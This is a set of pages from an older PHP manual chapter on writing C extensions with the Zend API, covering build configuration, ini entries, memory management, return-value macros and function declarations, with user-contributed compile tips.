First point of curiosity is how the extensions that are available for Windows appear in the output of "cscript /nologo configure.js --help". Turns out the magic happens by executing "buildconf.bat". To cut a long story short, it turns out that for Windows, the build system looks for config.w32 in each extension directory instead of config.m4; config.w32 is actually a javascript (from what I gather reading the "vim:ft=javascript" comment at the top of the files).

To get going with the "hello world" sample in the article mentioned above here is the config.w32 to replace config.m4;

--- begin file: config.w32 ---
// hello world module configuration
// vim:ft=javascript
ARG_ENABLE("hello", "hello Enable Hello World support", "no");

if (PHP_HELLO == "yes") {
  EXTENSION("hello", "hello.c", null, "-Iext/hello");
  AC_DEFINE('HAVE_HELLO', 1, 'Whether you ave Hello World');
}

--- end file: config.w32 ---

And just to compare, here is the config.m4

--- begin file: config.m4 ---
dnl vim:ft=m4
dnl hello world module configuration
PHP_ARG_ENABLE(hello, whether to enable Hellow World support,
[ --enable-hello  Enable Hello World support])

if test "$PHP_HELLO" = "yes"; then
  AC_DEFINE(HAVE_HELLO, 1 [Whether you have Hello World])
  PHP_NEW_EXTENSION(hello, hello.c, $ext_shared)
fi

--- end file: config.m4 ---

And finally the key step is to execute 'buildconf.bat'; after this step:

  cscript /nologo configure.js | find "hello"

should show something like:
"--enable-hello    hello Enable Hello World support"
josephmdaly at gmail dot com
29-Jul-2005 04:58
It looks like PHP 5 uses a newer version of the windows socket library.

If your extension links to a library that uses the old version you might get a lot of errors about redefining things.

To fix this problem make sure the PHP header files are included before the librarys header files.
seymour_levine at hotmail dot com
14-Jun-2005 08:18
A small amount of administration is needed to make this work.

Mainly the dl command does not pick up the module created.

To remedy, use a full path for the extension_dir parameter in php.ini. Then create that subdirectory mod 755 vis:

       extension_dir=/usr/lib/php411

And create php411. The name is arbitrary.

In the php dl command, specify dl('firstmod.so'); do not use any slashes.
Sy Levine
13-Jun-2005 08:29
I installed and run 4.1.1 on RH 7.1  It runs on a separate Apache Server than the one furnished by Red Hat.

A few adminisrative changes were necessary to get  the function going.

The main one was finding and modifying php.ini.

The command: find . -print | grep php.ini should do that.
Mine was in /usr/local/lib

Look for extension_dir in php.ini then type the directive as

extension_dir=/usr/lib/php4

Use no trailing / in the directive. This is where the dl('firstmod.so') php statement accesses your module.

Tip: I do not use a leading / like dl('/firstmod.so') which will be misparsed.  {Note by Ed a PHP ...}

The source module is named firstmod.c.

I compiled and created the firstmod.so with a script based on the various notes about the compile parameters. See
markjolesen, ywarnier, 17-Apr, wish I .
davide dot chiodi at poste dot it
07-Apr-2005 01:34
to build with lcc-win32 compiler:

change #include "php.h" to #include "php-lcc.h"
this is php-lcc.h (copied from excellent windbinder project by Rubem Pechansky)

//ZEND constants
#if defined(_MSC_VER)        // Rick
#    if defined(ZEND_EXPORTS)
#        undef ZEND_EXPORTS
#    endif
#    undef ZEND_DEBUG
#else
#    define PHP_WIN32
#    define ZEND_WIN32
#endif

#define ZEND_DEBUG    FALSE    // Must be FALSE
#define ZTS                    // Must define ZTS (Zend Thread Safety)
#define PHP_REGEX_H            // Skip php_regex.h: '_off_t' not defined anywhere
#define COMPILE_DL_FIRST_MODULE 1
//----------------------------------------------------------------- DEPENDENCIES

#include <php.h>

//---------------------------------------------------------- AUXILIARY FUNCTIONS

int parse_array(zval *array, const char *fmt, ...);

//------------------------------------------------------------------ END OF FILE

you must also used tweaked headers file from winbinder author at this link: http://hypervisual.com/winbinder/files/archived/php4_tweaked_headers.zip
(php 4).
I used php 4.3.10 and all worked fine
markjolesen at muchomail dot com
09-Dec-2004 06:17
To correctly compile the example source to use dynamic linking, change the compile flag  -DCOMPILE_DL to -DCOMPILE_DL_FIRST_MODULE. Otherwise, you'll get an invalid library when calling dl().
ywarnier at beeznest dot org
25-Oct-2004 07:19
Quick note to save time to beginners

To make the example above work, I had to add -I../TSRM because the file tsrm_virtual_cwd.h couldn't be found otherwise (it's located in the TSRM directory which is not included above)

In my case (pure Debian Woody install), php libraries were located in /usr/include/php4 (and php.h was in the 'main' subdirectory) so I had to use this path instead of /usr/local/include
someone at apple
02-May-2004 01:55
When following the directions for compiling via make, it may be necessary to delete the configure script before running buildconf.  Otherwise you may get a complaint about buggy cache code and the configure script won't actually be updated.
spsuhas at yahoo dot com
23-Jun-2003 04:23
If you want to write extension for windows system, Take a look at this article

http://www.devnewz.com/2002/0909.html

It works!
Suhas
Ed a PHP enthusiast from NYC
28-Apr-2003 01:55
Thank you very much for the comments above!

Here is a distillation of how to compile your module as a dynamic library, placing it in your web server and loading it in your test .php file being served (PHP 4.3.1).

*** Compiling a module as a .so

$ cd ext/mystuff

$ cc -fpic -DCOMPILE_DL_MYSTUFF=1 -I/usr/local/include -I../../TSRM -I../.. -I../../main -I../../Zend -I../../ext/bcmath/libbcmath/src -c -o mystuff.o mystuff.c

$ cc -shared -L/usr/local/lib -rdynamic -o mystuff.so mystuff.o

*** Move it to the web server (doc root is /www)

$ cp mystuff.so /www/.

$ chmod 644 /www/mystuff.so

*** load the module in the .php file for testing purposes

<?
dl('/mystuff.so');

/*  your php code here  */
?>

The other thing that threw me off my tracks is that when dealing with strings you can allocate memory with emalloc and return the result with the RETURN_STRING macro (duplicate set to 0) and presumably PHP will take care of the efree -- or else I got it wrong and have plenty of leaks  ;-)
17-Apr-2003 02:08
Compiling Manually NOTE:
remenber add -DHAVE_CONFIG_H flag
otherwise you .so can't be ld. then you cp it to php modules directory.
i.e
Compiling cc -fpic -DHAVE_CONFIG_H  -I/usr/local/include -I. -I.. -I../Zend -c -o <your_object_file> <your_c_file>
Mac Mhleisen
20-Mar-2003 03:55
To built the modules shipped with the source just cd into the ext dir for example

cd ext/oci8

and type

export SHLIB_SUFFIX_NAME=so
phpize && aclocal && ./configure && make

now you have a subdir called "modules" with the .so file. Copy it to your extension dir and set everything up in php.ini.

This way you can add extensions to binary distributions like RPMS.
wish I didn't have to use PHP
12-Oct-2002 12:00
The example source has "#if COMPILE_DL_FIRST_MODULE", while the example compilation commands have "-DCOMPILE_DL=1".

Those constants should be the same for everything to work properly; i.e., I'd suggest using "-DCOMPILE_DL_FIRST_MODULE=1" in the compile command.
add a note add a note

后退 | 起点 | 前进
PHP's Automatic Build System | 上一级 | Using Extensions


Initialization File Support

PHP 4 features a redesigned initialization file support. It's now possible to specify default initialization entries directly in your code, read and change these values at runtime, and create message handlers for change notifications.

To create an .ini section in your own module, use the macros PHP_INI_BEGIN() to mark the beginning of such a section and PHP_INI_END() to mark its end. In between you can use PHP_INI_ENTRY() to create entries.
PHP_INI_BEGIN()
PHP_INI_ENTRY("first_ini_entry",  "has_string_value", PHP_INI_ALL, NULL)
PHP_INI_ENTRY("second_ini_entry", "2",                PHP_INI_SYSTEM, OnChangeSecond)
PHP_INI_ENTRY("third_ini_entry",  "xyz",              PHP_INI_USER, NULL)
PHP_INI_END()
The PHP_INI_ENTRY() macro accepts four parameters: the entry name, the entry value, its change permissions, and a pointer to a change-notification handler. Both entry name and value must be specified as strings, regardless of whether they really are strings or integers.

The permissions are grouped into three sections:PHP_INI_SYSTEM allows a change only directly in the php.ini file; PHP_INI_USER allows a change to be overridden by a user at runtime using additional configuration files, such as .htaccess; and PHP_INI_ALL allows changes to be made without restrictions. There's also a fourth level, PHP_INI_PERDIR, for which we couldn't verify its behavior yet.

The fourth parameter consists of a pointer to a change-notification handler. Whenever one of these initialization entries is changed, this handler is called. Such a handler can be declared using the PHP_INI_MH macro:
PHP_INI_MH(OnChangeSecond);             // handler for ini-entry "second_ini_entry"

// specify ini-entries here

PHP_INI_MH(OnChangeSecond)
{

    zend_printf("Message caught, our ini entry has been changed to %s<br>", new_value);

    return(SUCCESS);

}
The new value is given to the change handler as string in the variable new_value. When looking at the definition of PHP_INI_MH, you actually have a few parameters to use:
#define PHP_INI_MH(name) int name(php_ini_entry *entry, char *new_value,
                                  uint new_value_length, void *mh_arg1,
                                  void *mh_arg2, void *mh_arg3)
All these definitions can be found in php_ini.h. Your message handler will have access to a structure that contains the full entry, the new value, its length, and three optional arguments. These optional arguments can be specified with the additional macros PHP_INI_ENTRY1 (allowing one additional argument), PHP_INI_ENTRY2 (allowing two additional arguments), and PHP_INI_ENTRY3 (allowing three additional arguments).

The change-notification handlers should be used to cache initialization entries locally for faster access or to perform certain tasks that are required if a value changes. For example, if a constant connection to a certain host is required by a module and someone changes the hostname, automatically terminate the old connection and attempt a new one.

Access to initialization entries can also be handled with the macros shown in 表格 45-17.

表格 45-17. Macros to Access Initialization Entries in PHP

Macro | Description
INI_INT(name) | Returns the current value of entry name as integer (long).
INI_FLT(name) | Returns the current value of entry name as float (double).
INI_STR(name) | Returns the current value of entry name as string. Note: This string is not duplicated, but instead points to internal data. Further access requires duplication to local memory.
INI_BOOL(name) | Returns the current value of entry name as Boolean (defined as zend_bool, which currently means unsigned char).
INI_ORIG_INT(name) | Returns the original value of entry name as integer (long).
INI_ORIG_FLT(name) | Returns the original value of entry name as float (double).
INI_ORIG_STR(name) | Returns the original value of entry name as string. Note: This string is not duplicated, but instead points to internal data. Further access requires duplication to local memory.
INI_ORIG_BOOL(name) | Returns the original value of entry name as Boolean (defined as zend_bool, which currently means unsigned char).

Finally, you have to introduce your initialization entries to PHP. This can be done in the module startup and shutdown functions, using the macros REGISTER_INI_ENTRIES() and UNREGISTER_INI_ENTRIES():
ZEND_MINIT_FUNCTION(mymodule)
{

    REGISTER_INI_ENTRIES();

}

ZEND_MSHUTDOWN_FUNCTION(mymodule)
{

    UNREGISTER_INI_ENTRIES();

}

add a note add a note User Contributed Notes
tony dot dodd at btinternet dot com
20-Aug-2005 11:15
These macros are defined in a separate header file called php_ini.h.
add a note add a note

后退 | 起点 | 前进
Calling User Functions | 上一级 | Where to Go from Here


Source Layout

注: Prior to working through the rest of this chapter, you should retrieve clean, unmodified source trees of your favorite Web server. We're working with Apache (available at http://www.apache.org/) and, of course, with PHP (available at http://www.php.net/ - does it need to be said?).

Make sure that you can compile a working PHP environment by yourself! We won't go into this issue here, however, as you should already have this most basic ability when studying this chapter.

Before we start discussing code issues, you should familiarize yourself with the source tree to be able to quickly navigate through PHP's files. This is a must-have ability to implement and debug extensions.

The following table describes the contents of the major directories.

Directory | Contents
php-src | Main PHP source files and main header files; here you'll find all of PHP's API definitions, macros, etc. (important). Everything else is below this directory.
php-src/ext | Repository for dynamic and built-in modules; by default, these are the "official" PHP modules that have been integrated into the main source tree. From PHP 4.0, it's possible to compile these standard extensions as dynamic loadable modules (at least, those that support it).
php-src/main | This directory contains the main php macros and definitions. (important)
php-src/pear | Directory for the PHP Extension and Application Repository. This directory contains core PEAR files.
php-src/sapi | Contains the code for the different server abstraction layers.
TSRM | Location of the "Thread Safe Resource Manager" (TSRM) for Zend and PHP.
ZendEngine2 | Location of the Zend Engine files; here you'll find all of Zend's API definitions, macros, etc. (important).

Discussing all the files included in the PHP package is beyond the scope of this chapter. However, you should take a close look at the following files:

  • php-src/main/php.h, located in the main PHP directory. This file contains most of PHP's macro and API definitions.

  • php-src/Zend/zend.h, located in the main Zend directory. This file contains most of Zend's macros and definitions.

  • php-src/Zend/zend_API.h, also located in the Zend directory, which defines Zend's API.

You should also follow some sub-inclusions from these files; for example, the ones relating to the Zend executor, the PHP initialization file support, and such. After reading these files, take the time to navigate around the package a little to see the interdependencies of all files and modules - how they relate to each other and especially how they make use of each other. This also helps you to adapt to the coding style in which PHP is authored. To extend PHP, you should quickly adapt to this style.

Extension Conventions

Zend is built using certain conventions; to avoid breaking its standards, you should follow the rules described in the following sections.

Macros

For almost every important task, Zend ships predefined macros that are extremely handy. The tables and figures in the following sections describe most of the basic functions, structures, and macros. The macro definitions can be found mainly in zend.h and zend_API.h. We suggest that you take a close look at these files after having studied this chapter. (Although you can go ahead and read them now, not everything will make sense to you yet.)

Memory Management

Resource management is a crucial issue, especially in server software. One of the most valuable resources is memory, and memory management should be handled with extreme care. Memory management has been partially abstracted in Zend, and you should stick to this abstraction for obvious reasons: Due to the abstraction, Zend gets full control over all memory allocations. Zend is able to determine whether a block is in use, automatically freeing unused blocks and blocks with lost references, and thus prevent memory leaks. The functions to be used are described in the following table:

Function | Description
emalloc() | Serves as replacement for malloc().
efree() | Serves as replacement for free().
estrdup() | Serves as replacement for strdup().
estrndup() | Serves as replacement for strndup(). Faster than estrdup() and binary-safe. This is the recommended function to use if you know the string length prior to duplicating it.
ecalloc() | Serves as replacement for calloc().
erealloc() | Serves as replacement for realloc().

emalloc(), estrdup(), estrndup(), ecalloc(), and erealloc() allocate internal memory; efree() frees these previously allocated blocks. Memory handled by the e*() functions is considered local to the current process and is discarded as soon as the script executed by this process is terminated.

警告

To allocate resident memory that survives termination of the current script, you can use malloc() and free(). This should only be done with extreme care, however, and only in conjunction with demands of the Zend API; otherwise, you risk memory leaks.

Zend also features a thread-safe resource manager to provide better native support for multithreaded Web servers. This requires you to allocate local structures for all of your global variables to allow concurrent threads to be run. Because the thread-safe mode of Zend was not finished back when this was written, it is not yet extensively covered here.

Directory and File Functions

The following directory and file functions should be used in Zend modules. They behave exactly like their C counterparts, but provide virtual working directory support on the thread level.

Zend Function | Regular C Function
V_GETCWD() | getcwd()
V_FOPEN() | fopen()
V_OPEN() | open()
V_CHDIR() | chdir()
V_GETWD() | getwd()
V_CHDIR_FILE() | Takes a file path as an argument and changes the current working directory to that file's directory.
V_STAT() | stat()
V_LSTAT() | lstat()

String Handling

Strings are handled a bit differently by the Zend engine than other values such as integers, Booleans, etc., which don't require additional memory allocation for storing their values. If you want to return a string from a function, introduce a new string variable to the symbol table, or do something similar, you have to make sure that the memory the string will be occupying has previously been allocated, using the aforementioned e*() functions for allocation. (This might not make much sense to you yet; just keep it somewhere in your head for now - we'll get back to it shortly.)

Complex Types

Complex types such as arrays and objects require different treatment. Zend features a single API for these types - they're stored using hash tables.

注: To reduce complexity in the following source examples, we're only working with simple types such as integers at first. A discussion about creating more advanced types follows later in this chapter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Extension Possibilities | 上一级 | PHP's Automatic Build System


Overview

"Extending PHP" is easier said than done. PHP has evolved to a full-fledged tool consisting of a few megabytes of source code, and to hack a system like this quite a few things have to be learned and considered. When structuring this chapter, we finally decided on the "learn by doing" approach. This is not the most scientific and professional approach, but the method that's the most fun and gives the best end results. In the following sections, you'll learn quickly how to get the most basic extensions to work almost instantly. After that, you'll learn about Zend's advanced API functionality. The alternative would have been to try to impart the functionality, design, tips, tricks, etc. as a whole, all at once, thus giving a complete look at the big picture before doing anything practical. Although this is the "better" method, as no dirty hacks have to be made, it can be very frustrating as well as energy- and time-consuming, which is why we've decided on the direct approach.

Note that even though this chapter tries to impart as much knowledge as possible about the inner workings of PHP, it's impossible to really give a complete guide to extending PHP that works 100% of the time in all cases. PHP is such a huge and complex package that its inner workings can only be understood if you make yourself familiar with it by practicing, so we encourage you to work with the source.

What Is Zend? and What Is PHP?

The name Zend refers to the language engine, PHP's core. The term PHP refers to the complete system as it appears from the outside. This might sound a bit confusing at first, but it's not that complicated (see 图形 45-1). To implement a Web script interpreter, you need three parts:

  1. The interpreter part analyzes the input code, translates it, and executes it.

  2. The functionality part implements the functionality of the language (its functions, etc.).

  3. The interface part talks to the Web server, etc.

Zend takes part 1 completely and a bit of part 2; PHP takes parts 2 and 3. Together they form the complete PHP package. Zend itself really forms only the language core, implementing PHP at its very basics with some predefined functions. PHP contains all the modules that actually create the language's outstanding capabilities.

图形 45-1. The internal structure of PHP.

The following sections discuss where PHP can be extended and how it's done.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Zend API：深入 PHP 内核 | 上一级 | Extension Possibilities


Extension Possibilities

As shown in 图形 45-1 above, PHP can be extended primarily at three points: external modules, built-in modules, and the Zend engine. The following sections discuss these options.

External Modules

External modules can be loaded at script runtime using the function dl(). This function loads a shared object from disk and makes its functionality available to the script to which it's being bound. After the script is terminated, the external module is discarded from memory. This method has both advantages and disadvantages, as described in the following table:

Advantages | Disadvantages
External modules don't require recompiling of PHP. | The shared objects need to be loaded every time a script is being executed (every hit), which is very slow.
The size of PHP remains small by "outsourcing" certain functionality. | External additional files clutter up the disk.
 | Every script that wants to use an external module's functionality has to specifically include a call to dl(), or the extension tag in php.ini needs to be modified (which is not always a suitable solution).

To sum up, external modules are great for third-party products, small additions to PHP that are rarely used, or just for testing purposes. To develop additional functionality quickly, external modules provide the best results. For frequent usage, larger implementations, and complex code, the disadvantages outweigh the advantages.

Third parties might consider using the extension tag in php.ini to create additional external modules to PHP. These external modules are completely detached from the main package, which is a very handy feature in commercial environments. Commercial distributors can simply ship disks or archives containing only their additional modules, without the need to create fixed and solid PHP binaries that don't allow other modules to be bound to them.

Built-in Modules

Built-in modules are compiled directly into PHP and carried around with every PHP process; their functionality is instantly available to every script that's being run. Like external modules, built-in modules have advantages and disadvantages, as described in the following table:

Advantages | Disadvantages
No need to load the module specifically; the functionality is instantly available. | Changes to built-in modules require recompiling of PHP.
No external files clutter up the disk; everything resides in the PHP binary. | The PHP binary grows and consumes more memory.

Built-in modules are best when you have a solid library of functions that remains relatively unchanged, requires better than poor-to-average performance, or is used frequently by many scripts on your site. The need to recompile PHP is quickly compensated by the benefit in speed and ease of use. However, built-in modules are not ideal when rapid development of small additions is required.

The Zend Engine

Of course, extensions can also be implemented directly in the Zend engine. This strategy is good if you need a change in the language behavior or require special functions to be built directly into the language core. In general, however, modifications to the Zend engine should be avoided. Changes here result in incompatibilities with the rest of the world, and hardly anyone will ever adapt to specially patched Zend engines. Modifications can't be detached from the main PHP sources and are overridden with the next update using the "official" source repositories. Therefore, this method is generally considered bad practice and, due to its rarity, is not covered in this book.

add a note add a note User Contributed Notes
arachnid at notdot dot net
10-Aug-2004 02:06
After writing a test module with logging to see just when the module does get loaded and unloaded, it appears the module gets loaded on server startup, once for each apache thread, and shutdown when a child terminates or the server shuts down, at least for PHP 4.3.7 as a DSO on Apache 2.
My Name
01-Jul-2004 07:24
Listing extensions in php.ini shouldnt avoid reloading the module each time the php script runs. Module startup and shutdown function calls shows that.
dlacct at hotmail dot com
13-Feb-2004 09:21
Creating dynamic extensions and listing them in your php.ini file should eliminate the overhead of having to issue a call to dl() on every script. Taking this approach gives you the benefit of a separate module without the performance hit.
add a note add a note

后退 | 起点 | 前进
Overview | 上一级 | Source Layout


Printing Information

Often it's necessary to print messages to the output stream from your module, just as print() would be used within a script. PHP offers functions for most generic tasks, such as printing warning messages, generating output for phpinfo(), and so on. The following sections provide more details. Examples of these functions can be found on the CD-ROM.

zend_printf()

zend_printf() works like the standard printf(), except that it prints to Zend's output stream.

zend_error()

zend_error() can be used to generate error messages. This function accepts two arguments; the first is the error type (see zend_errors.h), and the second is the error message.
zend_error(E_WARNING, "This function has been called with empty arguments");
表格 45-16 shows a list of possible values (see 图形 45-5). These values are also referred to in php.ini. Depending on which error type you choose, your messages will be logged.

表格 45-16. Zend's Predefined Error Messages.

Error | Description
E_ERROR | Signals an error and terminates execution of the script immediately .
E_WARNING | Signals a generic warning. Execution continues.
E_PARSE | Signals a parser error. Execution continues.
E_NOTICE | Signals a notice. Execution continues. Note that by default the display of this type of error messages is turned off in php.ini.
E_CORE_ERROR | Internal error by the core; shouldn't be used by user-written modules.
E_COMPILE_ERROR | Internal error by the compiler; shouldn't be used by user-written modules.
E_COMPILE_WARNING | Internal warning by the compiler; shouldn't be used by user-written modules.

图形 45-5. Display of warning messages in the browser.

Including Output in phpinfo()

After creating a real module, you'll want to show information about the module in phpinfo() (in addition to the module name, which appears in the module list by default). PHP allows you to create your own section in the phpinfo() output with the ZEND_MINFO() function. This function should be placed in the module descriptor block (discussed earlier) and is always called whenever a script calls phpinfo().

PHP automatically prints a section in phpinfo() for you if you specify the ZEND_MINFO function, including the module name in the heading. Everything else must be formatted and printed by you.

Typically, you can print an HTML table header using php_info_print_table_start() and then use the standard functions php_info_print_table_header() and php_info_print_table_row(). As arguments, both take the number of columns (as integers) and the column contents (as strings). 例子 45-13 shows a source example and its output. To print the table footer, use php_info_print_table_end().

例子 45-13. Source code and screenshot for output in phpinfo().

php_info_print_table_start();
php_info_print_table_header(2, "First column", "Second column");
php_info_print_table_row(2, "Entry in first row", "Another entry");
php_info_print_table_row(2, "Just to fill", "another row here");
php_info_print_table_end();

Execution Information

You can also print execution information, such as the current file being executed. The name of the function currently being executed can be retrieved using the function get_active_function_name(). This function returns a pointer to the function name and doesn't accept any arguments. To retrieve the name of the file currently being executed, use zend_get_executed_filename(). This function accesses the executor globals, which are passed to it using the TSRMLS_C macro. The executor globals are automatically available to every function that's called directly by Zend (they're part of the INTERNAL_FUNCTION_PARAMETERS described earlier in this chapter). If you want to access the executor globals in another function that doesn't have them available automatically, call the macro TSRMLS_FETCH() once in that function; this will introduce them to your local scope.

Finally, the line number currently being executed can be retrieved using the function zend_get_executed_lineno(). This function also requires the executor globals as arguments. For examples of these functions, see 例子 45-14.

例子 45-14. Printing execution information.

zend_printf("The name of the current function is %s<br>", get_active_function_name(TSRMLS_C));
zend_printf("The file currently executed is %s<br>", zend_get_executed_filename(TSRMLS_C));
zend_printf("The current line being executed is %i<br>", zend_get_executed_lineno(TSRMLS_C));

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Returning Values | 上一级 | Startup and Shutdown Functions


Returning Values

Returning values from your functions to PHP was described briefly in an earlier section; this section gives the details. Return values are passed via the return_value variable, which is passed to your functions as argument. The return_value argument consists of a zval container (see the earlier discussion of the call interface) that you can freely modify. The container itself is already allocated, so you don't have to run MAKE_STD_ZVAL on it. Instead, you can access its members directly.

To make returning values from functions easier and to prevent hassles with accessing the internal structures of the zval container, a set of predefined macros is available (as usual). These macros automatically set the correspondent type and value, as described in 表格 45-14 and 表格 45-15.

注: The macros in 表格 45-14 automatically return from your function, those in 表格 45-15 only set the return value; they don't return from your function.

表格 45-14. Predefined Macros for Returning Values from a Function

Macro | Description
RETURN_RESOURCE(resource) | Returns a resource.
RETURN_BOOL(bool) | Returns a Boolean.
RETURN_NULL() | Returns nothing (a NULL value).
RETURN_LONG(long) | Returns a long.
RETURN_DOUBLE(double) | Returns a double.
RETURN_STRING(string, duplicate) | Returns a string. The duplicate flag indicates whether the string should be duplicated using estrdup().
RETURN_STRINGL(string, length, duplicate) | Returns a string of the specified length; otherwise, behaves like RETURN_STRING. This macro is faster and binary-safe, however.
RETURN_EMPTY_STRING() | Returns an empty string.
RETURN_FALSE | Returns Boolean false.
RETURN_TRUE | Returns Boolean true.

表格 45-15. Predefined Macros for Setting the Return Value of a Function

Macro | Description
RETVAL_RESOURCE(resource) | Sets the return value to the specified resource.
RETVAL_BOOL(bool) | Sets the return value to the specified Boolean value.
RETVAL_NULL | Sets the return value to NULL.
RETVAL_LONG(long) | Sets the return value to the specified long.
RETVAL_DOUBLE(double) | Sets the return value to the specified double.
RETVAL_STRING(string, duplicate) | Sets the return value to the specified string and duplicates it to Zend internal memory if desired (see also RETURN_STRING).
RETVAL_STRINGL(string, length, duplicate) | Sets the return value to the specified string and forces the length to become length (see also RETVAL_STRING). This macro is faster and binary-safe, and should be used whenever the string length is known.
RETVAL_EMPTY_STRING | Sets the return value to an empty string.
RETVAL_FALSE | Sets the return value to Boolean false.
RETVAL_TRUE | Sets the return value to Boolean true.

Complex types such as arrays and objects can be returned by using array_init() and object_init(), as well as the corresponding hash functions on return_value. Since these types cannot be constructed of trivial information, there are no predefined macros for them.

add a note add a note User Contributed Notes
Julien CROUZET jucrouzet_at_cpan.org
08-Apr-2004 05:51
Remember that even if RETURN_* macros sets the return_value to return variable to user, they also RETURN FROM YOU CODE by a "return ;", any code after these macro will be ignored.

If you want to place code after a return of variable (which is not a good idea for code readability), you'll have to use RETVAL_* macro instead.
Julien CROUZET jucrouzet_at_cpan.org
08-Apr-2004 05:44
Just an example of the way of the way of returning array :

/*
** Creates a array of on element (a long of value 42)
*/
ZEND_FUNCTION("make_42_array")
{
  zval *my_long;

  // Declaring and allocating return_value to be an array
  array_init(return_value);

  //Creates and assign the long element at (long)42
  MAKE_STD_ZVAL(my_long);
  ZVAL_LONG(new_element, 42);

  //Make this our $array[0] I do not use add_index_long to
  //to show a "by-hand" assignation
  zend_hash_index_update(HASH_OF(return_value), 0, (void *)&my_long, sizeof(zval *), NULL);

  //Returns nothing to satisfy the void prototype
  return ;

}
add a note add a note

后退 | 起点 | 前进
Duplicating Variable Contents: The Copy Constructor | 上一级 | Printing Information


Startup and Shutdown Functions

Startup and shutdown functions can be used for one-time initialization and deinitialization of your modules. As discussed earlier in this chapter (see the description of the Zend module descriptor block), there are module, and request startup and shutdown events.

The module startup and shutdown functions are called whenever a module is loaded and needs initialization; the request startup and shutdown functions are called every time a request is processed (meaning that a file is being executed).

For dynamic extensions, module and request startup/shutdown events happen at the same time.

Declaration and implementation of these functions can be done with macros; see the earlier section "Declaration of the Zend Module Block" for details.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Printing Information | 上一级 | Calling User Functions


Source Discussion

Now that you've got a safe build environment and you're able to include the modules into PHP files, it's time to discuss how everything works.

Module Structure

All PHP modules follow a common structure:

  • Header file inclusions (to include all required macros, API definitions, etc.)

  • C declaration of exported functions (required to declare the Zend function block)

  • Declaration of the Zend function block

  • Declaration of the Zend module block

  • Implementation of get_module()

  • Implementation of all exported functions

Header File Inclusions

The only header file you really have to include for your modules is php.h, located in the PHP directory. This file makes all macros and API definitions required to build new modules available to your code.

Tip: It's good practice to create a separate header file for your module that contains module-specific definitions. This header file should contain all the forward definitions for exported functions and include php.h. If you created your module using ext_skel you already have such a header file prepared.

Declaring Exported Functions

To declare functions that are to be exported (i.e., made available to PHP as new native functions), Zend provides a set of macros. A sample declaration looks like this:
ZEND_FUNCTION ( my_function );

ZEND_FUNCTION declares a new C function that complies with Zend's internal API. This means that the function is of type void and accepts INTERNAL_FUNCTION_PARAMETERS (another macro) as parameters. Additionally, it prefixes the function name with zif. The immediately expanded version of the above definitions would look like this:
void zif_my_function ( INTERNAL_FUNCTION_PARAMETERS );
Expanding INTERNAL_FUNCTION_PARAMETERS results in the following:
void zif_my_function( int ht
                    , zval * return_value
                    , zval * this_ptr
                    , int return_value_used
                    , zend_executor_globals * executor_globals
                    );

Since the interpreter and executor core have been separated from the main PHP package, a second API defining macros and function sets has evolved: the Zend API. As the Zend API now handles quite a few of the responsibilities that previously belonged to PHP, a lot of PHP functions have been reduced to macros aliasing to calls into the Zend API. The recommended practice is to use the Zend API wherever possible, as the old API is only preserved for compatibility reasons. For example, the types zval and pval are identical. zval is Zend's definition; pval is PHP's definition (actually, pval is an alias for zval now). As the macro INTERNAL_FUNCTION_PARAMETERS is a Zend macro, the above declaration contains zval. When writing code, you should always use zval to conform to the new Zend API.

The parameter list of this declaration is very important; you should keep these parameters in mind (see 表格 45-1 for descriptions).

表格 45-1. Zend's Parameters to Functions Called from PHP

Parameter | Description
ht | The number of arguments passed to the Zend function. You should not touch this directly, but instead use ZEND_NUM_ARGS() to obtain the value.
return_value | This variable is used to pass any return values of your function back to PHP. Access to this variable is best done using the predefined macros. For a description of these see below.
this_ptr | Using this variable, you can gain access to the object in which your function is contained, if it's used within an object. Use the function getThis() to obtain this pointer.
return_value_used | This flag indicates whether an eventual return value from this function will actually be used by the calling script. 0 indicates that the return value is not used; 1 indicates that the caller expects a return value. Evaluation of this flag can be done to verify correct usage of the function as well as speed optimizations in case returning a value requires expensive operations (for an example, see how array.c makes use of this).
executor_globals | This variable points to global settings of the Zend engine. You'll find this useful when creating new variables, for example (more about this later). The executor globals can also be introduced to your function by using the macro TSRMLS_FETCH().

Declaration of the Zend Function Block

Now that you have declared the functions to be exported, you also have to introduce them to Zend. Introducing the list of functions is done by using an array of zend_function_entry. This array consecutively contains all functions that are to be made available externally, with the function's name as it should appear in PHP and its name as defined in the C source. Internally, zend_function_entry is defined as shown in 例子 45-4.

例子 45-4. Internal declaration of zend_function_entry.

typedef struct _zend_function_entry {
    char *fname;
    void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
    unsigned char *func_arg_types;
} zend_function_entry;

Entry | Description
fname | Denotes the function name as seen in PHP (for example, fopen, mysql_connect, or, in our example, first_module).
handler | Pointer to the C function responsible for handling calls to this function. For example, see the standard macro INTERNAL_FUNCTION_PARAMETERS discussed earlier.
func_arg_types | Allows you to mark certain parameters so that they're forced to be passed by reference. You usually should set this to NULL.

In the example above, the declaration looks like this:
zend_function_entry firstmod_functions[] =
{
    ZEND_FE(first_module, NULL)
    {NULL, NULL, NULL}
};
You can see that the last entry in the list always has to be {NULL, NULL, NULL}. This marker has to be set for Zend to know when the end of the list of exported functions is reached.

注: You cannot use the predefined macros for the end marker, as these would try to refer to a function named "NULL"!

The macro ZEND_FE (short for 'Zend Function Entry') simply expands to a structure entry in zend_function_entry. Note that these macros introduce a special naming scheme to your functions - your C functions will be prefixed with zif_, meaning that ZEND_FE(first_module) will refer to a C function zif_first_module(). If you want to mix macro usage with hand-coded entries (not a good practice), keep this in mind.

Tip: Compilation errors that refer to functions named zif_*() relate to functions defined with ZEND_FE.

表格 45-2 shows a list of all the macros that you can use to define functions.

表格 45-2. Macros for Defining Functions

Macro Name | Description
ZEND_FE(name, arg_types) | Defines a function entry of the name name in zend_function_entry. Requires a corresponding C function. arg_types needs to be set to NULL. This function uses automatic C function name generation by prefixing the PHP function name with zif_. For example, ZEND_FE("first_module", NULL) introduces a function first_module() to PHP and links it to the C function zif_first_module(). Use in conjunction with ZEND_FUNCTION.
ZEND_NAMED_FE(php_name, name, arg_types) | Defines a function that will be available to PHP by the name php_name and links it to the corresponding C function name. arg_types needs to be set to NULL. Use this function if you don't want the automatic name prefixing introduced by ZEND_FE. Use in conjunction with ZEND_NAMED_FUNCTION.
